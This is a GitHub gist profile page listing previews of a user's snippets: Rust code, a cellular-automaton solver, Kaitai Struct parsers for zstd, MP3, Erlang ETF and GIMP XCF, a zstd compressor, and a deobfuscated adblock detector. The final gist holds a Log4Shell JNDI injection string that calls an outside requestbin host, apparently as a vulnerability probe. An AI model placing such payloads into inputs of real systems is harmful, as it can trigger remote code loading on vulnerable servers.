Skip to content

Instantly share code, notes, and snippets.

View mateon1's full-sized avatar

Mateusz Naściszewski mateon1

View GitHub Profile

Keybase proof

I hereby claim:

  • I am mateon1 on github.
  • I am mateon1 (https://keybase.io/mateon1) on keybase.
  • I have a public key ASB-wEOARw11LCUih3Gk6Dt5rEpY5JlDLHx6-BKHsorBRgo

To claim this, I am signing this object:

@mateon1
mateon1 / example.rs
Created December 15, 2017 10:52
Rust generics
struct ParseError<'a> {
Whatever(&'a [u8]),
Message(String),
}
/// Parse is a type used as the return type of parser functions
/// In case of failure, it holds an error message
/// And in case of success, it holds an object of type T, and the bytes that still need to be parsed
enum Parse<'a, T> {
Success(T, &'a [u8]),
@mateon1
mateon1 / cellsat.py
Created January 31, 2020 15:00
Snippet of code for cellular automata solving
# This code starts at line 1045...
# Imagine 1000 lines of frankensteined Python code that implements a (bad) SAT solver here
class CellSolver:
def __init__(this, w, h, steps=1, rule_b=(3,), rule_s=(2,3), diagonals=True):
assert steps >= 1
assert w >= 1
assert h >= 1
# XXX: Only Conway's for now
@mateon1
mateon1 / zstd.ksy
Last active July 14, 2021 12:30
zstd block format with ugly workarounds
meta:
id: zstd
title: Zstandard compression format
file-extension: zst
xref:
justsolve: Zstandard
mime: application/zstd
rfc: 8478
wikidata: Q105853477
endian: le
@mateon1
mateon1 / mp3.ksy
Last active July 20, 2021 16:56
Kaitai MP3 parser
meta:
id: mp3
file-extension: mp3
seq:
- id: frame0
type: frame
- id: frames
type: frame
repeat: expr
repeat-expr: 50
@mateon1
mateon1 / etf.ksy
Created July 26, 2021 15:42
Kaitai ETF (Erlang's External Term Fomat)
meta:
id: etf
file-extension: etf
title: Erlang's External Term Format
endian: be
doc-ref: https://erlang.org/doc/apps/erts/erl_ext_dist.html
seq:
- id: messages
type: message
repeat: eos
@mateon1
mateon1 / gimp_xcf.ksy
Created July 30, 2021 22:17
Kaitai XCF
meta:
id: gimp_xcf
file-extension: xcf
xref:
justsolve: XCF
pronom: fmt/615
mime-type: image/x-xcf
mime-type: image/xcf
wikidata: Q261907
encoding: utf8
@mateon1
mateon1 / rlezst.py
Created August 6, 2021 15:03
RLE-only zstd compressor (Python3 only, prefer PyPy3)
import struct
def header():
return b"\x28\xb5\x2f\xfd\x00\x38" # ZSTD header, no checksum, no dict, 128K window size
def raw(b, end=False):
#print("RAW %d bytes" % len(b), repr(b))
blk = []
while len(b) > 128 * 1024:
i = struct.pack("<I", 128 * 1024 << 3)
@mateon1
mateon1 / pigeon-deo1.js
Created August 16, 2021 21:17
Mostly deobfuscated 'pigeonburger' adblock detector
(function(_0x2e6577,_0x4ee073){
function _0xe4f626(_0x106f92,_0x25e6db,_0x3c7bc7,_0x11f82f,_0x203fcb){return _0x1d56(_0x11f82f- -0x14a,_0x106f92);}
function _0x1b7536(_0x2cae9e,_0x3fa77d,_0xd25a80,_0x47a3b6,_0x201dd8){return _0x1d56(_0x201dd8- -0x2ee,_0xd25a80);}
function _0x1de621(_0x297d3c,_0x111048,_0x51f783,_0x2d7353,_0x33555d){return _0x1d56(_0x51f783-0x86,_0x297d3c);}
function _0x2de542(_0x343d23,_0x3b9f50,_0x43b787,_0x5a569b,_0x32e043){return _0x1d56(_0x32e043- -0x149,_0x3b9f50);}
function _0x47adc8(_0x183ea2,_0x23d08f,_0x5bb9b8,_0x1bc860,_0x72ccbf){return _0x1d56(_0x183ea2-0x94,_0x5bb9b8);}
const _0x5540b0=_0x2e6577();
let att=0;
// skip all the attempts
for(;att<465;att++)_0x5540b0['push'](_0x5540b0['shift']());
@mateon1
mateon1 / gist-test.md
Created December 10, 2021 08:43
Is Github broken?

This is a test ${jndi:ldap://gist1.b1bb99d3d48384596141.d.requestbin.net}